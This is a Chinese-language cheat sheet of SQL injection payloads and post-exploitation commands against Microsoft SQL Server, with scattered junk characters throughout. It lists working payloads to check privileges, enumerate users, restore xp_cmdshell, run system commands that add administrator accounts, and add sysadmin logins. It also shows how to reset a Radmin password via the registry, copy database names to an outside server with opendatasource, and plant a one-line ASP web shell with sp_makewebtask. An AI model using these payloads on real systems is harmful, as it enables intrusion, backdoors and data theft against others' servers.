阿D常用的一些注入命令
$ c5 [$ J- f" X3 B6 M! i3 X//看看是什么权限的$ v" z& x8 L" n/ F
and 1=(Select IS_MEMBER('db_owner')) W% z! i. k7 {0 n0 W8 M0 p
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
( R$ f' k" { \, k8 t0 m$ ]8 f5 d3 U$ ~% d* z) A9 A# d% k
//检测是否有读取某数据库的权限6 H/ I! b, O5 B, B+ B5 Z4 U- g
and 1= (Select HAS_DBACCESS('master'))
3 n5 D# U ]& O7 A) E# ^/ EAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --2 n' I6 y, G+ J1 E2 E$ w# ^ o2 C
: q+ M; z9 b1 {
" E9 Q! @7 t) o9 u0 C. p5 r( L数字类型9 s4 m9 W3 A: o- L3 n+ f9 T/ `
and char(124)%2Buser%2Bchar(124)=01 O5 @" V& h" _4 ~) f% n
$ w, d h- p1 p7 z9 Y字符类型0 {. d+ T" A1 G( ?% R. x
' and char(124)%2Buser%2Bchar(124)=0 and ''='
3 E$ l+ }7 m# g% M7 Z" z( l, T; v- p0 |# F* T/ T1 G
搜索类型3 t* V% M# E* i4 y6 H' k
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
1 e& L9 {* D" k% @+ N
# ?: \& J- l4 m$ Q2 `1 Z爆用户名
8 l8 Z: j6 c5 U+ Z. tand user>0/ Z6 @. e1 y8 l& b* f; n
' and user>0 and ''='
& K# T2 W" s& K$ E, B' p' R/ c* j4 J- x6 O. @2 Z
检测是否为SA权限
; s% [& `. [5 M( N) H* K" F& q& `and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
N$ z7 J+ g8 ^- P; I* _5 QAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --. x* `. T' z1 @# g& Y/ j
: @& {! O6 v o1 B
检测是不是MSSQL数据库
( e) y0 P4 A- }6 pand exists (select * from sysobjects);--
3 M3 ? l' k1 w( R: B
z0 o( O! }0 d& \3 n, H5 n$ T检测是否支持多行; n7 K4 S1 j3 [+ K6 p
;declare @d int;-- 5 e3 [5 \: R5 R* r U, c1 m' g' o
4 `4 k. r- j* E恢复 xp_cmdshell
0 m" n: Y" I, E \7 o;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
$ I6 C; J& P9 {" `
: X0 \: a+ k5 p2 @
5 w; c2 ~6 O1 s h+ r/ c* i8 d+ G! G, jselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
; r$ w( Q( E; [+ O; v! b
* l$ _7 T- ~/ s1 e$ Y2 G//-----------------------# |/ Z4 e$ B' F* H
// 执行命令' g7 h5 P/ u8 O+ D! n9 X3 H/ ~' p7 q( E
//-----------------------
3 x/ G" h1 D9 C1 v$ e7 R首先开启沙盘模式:
6 A5 W2 [- L' K! oexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
! `8 J4 C9 n k
* I. A/ E' R- i9 x2 ^2 v然后利用jet.oledb执行系统命令: m& o7 {0 d% y m
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
& O% `5 }# M, n, r( U; s# J: u
. [9 y9 \" V0 l7 A3 D k6 X% x执行命令
' }% H$ _' d8 [- U7 p; ~0 z;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
+ \, C; A) V c# E+ d
* e0 n+ |% S: X, h2 }# h$ \# nEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111' h: r. y, L9 W" V, b1 @, O# o8 M
" a: ?& E- G) W& g判断xp_cmdshell扩展存储过程是否存在:$ s9 P, m+ U( w: L/ z1 v
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
2 I9 B9 L7 E4 i- }) k
4 b+ G0 M0 o9 P7 @- v写注册表
& N% B+ r. J8 ]# U, Q$ F, Lexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1, q9 e V9 d( n4 [
' [; q) G( x0 U) v
REG_SZ7 m3 u9 D6 I1 \; R
1 h/ Y" I$ N: R$ N) ]读注册表: Q: b/ Y" [ {( z
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
" a; c: T5 ]3 E5 K+ G$ F: d/ K- x! x( {3 n9 G. i7 N8 d' U6 ^
读取目录内容# {* [* X* Z, d, B
exec master..xp_dirtree 'c:\winnt\system32\',1,1. p# j- d( Q$ G' c
( r0 X* W6 h1 z4 m/ u0 P% c3 K
+ u- U3 j; o, x: b数据库备份- W% T9 W- l. w% r$ H
backup database pubs to disk = 'c:\123.bak'
( @, V- |* r* @. E( s' N; q! w- {8 T3 d# T7 E# e: U- C8 G
//爆出长度6 V! a8 D# `9 ^" T+ B
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
2 o% c9 X6 U# n) `. p4 b
: ^3 i& U& x' f0 V5 ]6 _
3 L" E7 ~& W; r+ J2 R# Q1 M* @8 V( I' T7 G
更改sa口令方法:用sql综合利用工具连接后,执行命令:
$ r. K* k/ w+ a; w* @3 G, t) _exec sp_password NULL,'新密码','sa'
! b( r: B0 F# w; q* }1 T7 f
1 X! D o( N/ T+ F+ R添加和删除一个SA权限的用户test:
$ Y w. U l3 }: w, r7 s" yexec master.dbo.sp_addlogin test,ptlove/ O) _6 a3 ~- ^" K' f% ~5 W/ j
exec master.dbo.sp_addsrvrolemember test,sysadmin
2 b1 ~3 ~: v7 a6 q
- \+ L! t, ?" N4 a' V& X删除扩展存储过过程xp_cmdshell的语句:
v' X/ R5 k" g( v9 Bexec sp_dropextendedproc 'xp_cmdshell'
/ \6 w8 B8 M8 j( X
* D( ^* F% v( k添加扩展存储过过程
7 a7 ]) ^9 B8 m8 T. kEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
. i! _' @* Y9 q7 d* J# J2 i6 G: iGRANT exec On xp_proxiedadata TO public
# E8 W+ T+ }0 Z) o! f3 j
( \0 u, O# l X$ N+ [; g9 \6 [; l6 B
停掉或激活某个服务。
4 }2 f) }& F" h. [( Z/ k. C1 G! ?" \; p3 K$ w
exec master..xp_servicecontrol 'stop','schedule'" ~% y; C i- @% @
exec master..xp_servicecontrol 'start','schedule'4 N6 J; `4 x& m+ r, w4 z0 z
+ A2 g0 {! e7 s' {( {& H2 @dbo.xp_subdirs: \( q0 f' J! r* q) z. h2 n4 D( s
! @! `2 J; Y3 n8 T, V+ j
只列某个目录下的子目录。8 k1 d3 S7 E: S5 O" h6 J: B* a
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
) \$ b$ f& |5 t) j) V- _( Z& N2 F* ~- p$ c6 D* B+ j- J
dbo.xp_makecab
3 q/ E) |- {* Z( U; ~
: t) K W6 I" j, _- a! Y/ H3 p将目标多个档案压缩到某个目标档案之内。
; ~9 @& |9 H9 m6 i* _所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
* G, p. p1 ?. A! J2 \9 C# {6 F9 G+ M" Z" g" x) h* l# m) x
dbo.xp_makecab. q1 e; I$ y% K9 N
'c:\test.cab','mszip',1,
+ b1 N( ]& r7 m, p'C:\Inetpub\wwwroot\SQLInject\login.asp',
4 q( \5 ?& V/ d7 s5 I( P! A'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'8 u$ z% k+ [! ]& U
2 d1 }6 o- L6 r: C1 f6 s, Kxp_terminate_process
5 N, [ x8 S6 C |% f$ \3 L' Q# l5 y* b3 |6 L
停掉某个执行中的程序,但赋予的参数是 Process ID。
' R# v4 i) P! a1 b; t$ I利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
( ~9 r) p z3 _. \9 ^1 H7 X) t5 A
5 e# A% i1 u7 c4 B/ [2 l! h+ R5 Kxp_terminate_process 2484
7 q M4 w' ^" {- S- P: }8 U7 T& \8 g& C+ q( a
xp_unpackcab2 v$ N- }# x5 o% |0 g
8 c& o7 b, c) G, M k% e3 _解开压缩档。' L4 |+ R: f( _) ~: g& [
9 z7 c7 X0 o- d9 i, P
xp_unpackcab 'c:\test.cab','c:\temp',1
1 e; [7 y4 }9 U p1 Z) O& M
7 [2 l* s4 |0 \1 u- d) a8 ]9 ]1 ~: [% ]. Q
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12348 H& v |3 ^$ J/ L
$ c1 F$ I$ ~1 [7 E6 K8 M$ p& vcreate database lcx;
* w; P& Y" q: vCreate TABLE ku(name nvarchar(256) null);
1 {# A. `+ h- V; J7 H2 S" xCreate TABLE biao(id int NULL,name nvarchar(256) null);
+ Y6 O) ]( J( t, @5 n
/ K- N; W1 `7 a, c* O: O//得到数据库名
8 L4 z1 [6 y2 r7 Jinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
& E( n# f0 v7 c- W5 ~: [
! D. D7 q# U" F- ]% N1 B! q$ @; v+ \+ _% S. h. q
//在Master中创建表,看看权限怎样, X+ G( S$ q" x' t) v0 ?
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
; C. k" s* L4 u# _1 D) `: t# H
; h# I9 E# q' {. _8 |: @用 sp_makewebtask直接在web目录里写入一句话马:
6 G0 t" a* d8 i! Chttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--8 n% {, S0 o' l+ f1 O+ S
: ^0 P! a: F; b//更新表内容6 Y8 S6 Q& W E
Update films SET kind = 'Dramatic' Where id = 123
! O7 Y) F) Z) Y, u, D
& W+ M9 s3 h$ b( C$ m9 y//删除内容2 g4 Y0 d" p) S, A# P. B S* h0 j
delete from table_name where Stockid = 3 |